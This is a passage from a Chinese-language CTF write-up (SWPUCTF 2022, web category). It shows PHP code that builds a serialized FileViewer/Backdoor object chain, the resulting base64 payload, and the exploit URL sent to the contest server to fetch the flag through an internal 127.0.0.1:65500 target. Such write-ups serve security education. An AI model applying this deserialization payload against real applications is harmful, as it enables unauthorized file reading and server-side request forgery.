    public $black_list;
    public $local;
    public $path;
    public function __construct()
    {
        $this->black_list="web so difficult~";
        $this->local='take it easy';
        $this->path="flag";
    }
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker;
    public function __construct()
    {
        $this->a=new FileViewer();
        $this->b="local";
        $this->superhacker="127.0.0.1:65500/";
    }
}

$a=new Backdoor();
$b=new FileViewer();
$b->local=$a;
echo base64_encode(serialize($b))
?>

这里构造的时候踩了个坑,一开始只创建了Backdoor一个对象,所以就是Backdoor里面包含着FileViewer,但是经过反序列化之后,执行的loadfile函数只有FileViewer类存在,所以要FileViewer中包着Backdoor

运行生成

TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

利用path_info传参

构造payload:

http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

得到flag

[SWPUCTF 2022]——Web方向 详细Writeup_第51张图片

base64解码后得到flag

你可能感兴趣的:(CTF比赛复现,php,反序列化,CTF,web安全,RCE,代码审计)